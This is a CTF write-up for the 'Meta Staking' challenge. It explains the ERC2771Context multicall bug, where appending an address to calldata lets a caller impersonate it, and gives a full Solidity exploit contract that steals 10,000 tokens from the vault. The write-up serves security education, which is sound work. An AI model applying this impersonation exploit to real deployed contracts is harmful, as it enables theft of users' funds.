Meta Staking

Codebase walkthrough

This codebase is made of 3 moving parts:

  • Staking.sol → This is the user entry point, user can either stake or unstake. This contract implements approve/transfer/transforFrom which looks suspicious.

  • Vault.sol → This is the “backend” of Staking.sol, user’s asset will be stored here when they stake and withdrawn from here when they unstake.

  • Relayer.sol → User can interact with this relayer and make call to arbitrary place. The relayer isn’t neccessary in this codebase but that’s how the CTF was designed. The bug is in the relayer integration.

Initially Setup.sol staked 10000 grey token into the vault. The goal is stealing all the funds in the vault.

Bug description

When you see relayer + batchExecute(), you know this chall is mimicing ERC2771Context multicall bug. I find this bug easy to understand but hard to explain clearly, so let me explain it in a sequence diagram:

Extra explanations:

  1. multicall() is an inherited function in VulnerbleContract. The function is a delegatecall, so when TrustedForwarder calls multicall(), msg.sender will be TrustedForwarder.

  2. If caller is TrustedForwarder, _msgSender() returns the last 20 bytes of calldata → this leads to impersonation:

    function isTrustedForwarder(address forwarder) public view virtual returns (bool) {
        return forwarder == _trustedForwarder;
    }

    function _msgSender() internal view virtual override returns (address sender) {
        if (isTrustedForwarder(msg.sender)) {
            assembly {
                sender := shr(96, calldataload(sub(calldatasize(), 20)))
            }
        } else {
            return super._msgSender();
        }
    }
  1. You can impersonate anyone, depending on your need and the context.

Map the terminologies from this bug to the chall:

  • TrustedForwarder → Relayer

  • VulnerableContract → Staking

  • elevated privilege → Setup

PoC

Attack steps:

  1. Prepare a valid signature, it is just a normal signature that you signed, no hack here

  2. Let _getTransaction() prepare a calldata and pack the calldata into a Transaction struct. The calldata exploits the _msgSender() parsing algorithm: during batchExecute(), msg.sender will be relayer (because the call in the function is a delegatecall), so _msgSender() returns the last 20 bytes of calldata, which is Setup contract.

  3. Let relayer execute this request. Internally relayer will call batchExecute(), which calls only one function: staking.transfer(). Inside staking.transfer(), _msgSender() will be Setup contract as we explained above. Then it calls transferFrom() and from will be _msgSender(), so it means “transfer 10000e18 grey token from Setup contract to Exploit contract”.

// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.15;

import { Setup, Staking, Relayer } from "src/meta-staking/Setup.sol";
import { Batch } from "src/meta-staking/lib/Batch.sol";

contract Exploit {
    Setup setup;
    address publicKey;
    uint256 privateKey;

    constructor(Setup _setup, address _publicKey, uint256 _privateKey) {
        setup = _setup;
        publicKey = _publicKey;
        privateKey = _privateKey;
    }

    function solve(uint8 v, bytes32 r, bytes32 s) external {
        // Transfer 10,000 STK to this address
        Relayer.Signature memory signature = Relayer.Signature({
            v: v,
            r: r,
            s: s,
            deadline: type(uint256).max
        });
        Relayer.TransactionRequest memory request = Relayer.TransactionRequest({
            transaction: _getTransaction(),
            signature: signature
        });
        setup.relayer().execute(request);

        // Withdraw GREY with STK and transfer to msg.sender
        setup.staking().unstake(10_000e18);
        setup.grey().transfer(msg.sender, 10_000e18);
    }

    function getTxHash() external view returns (bytes32) {
        return keccak256(abi.encode(_getTransaction(), setup.relayer().nonce()));
    }

    // @audit this function builds calldata for multicall()
    function _getTransaction() internal view returns (Relayer.Transaction memory) {
        // Create transaction to transfer 10,000 STK from Setup contract to this address
        bytes[] memory innerData = new bytes[](1);
        innerData[0] = abi.encodePacked(
            abi.encodeCall(Staking.transfer, (address(this), 10_000e18)),
            address(setup) // @audit -> address(setup) will be parsed as msg.sender
        );

        // Pass data to multicall through relayer
        return Relayer.Transaction({
            from: publicKey,
            to: address(setup.staking()),
            value: 0,
            gas: 10_000_000,
            data: abi.encodeCall(Batch.batchExecute, (innerData))
        });
    }
}

Last updated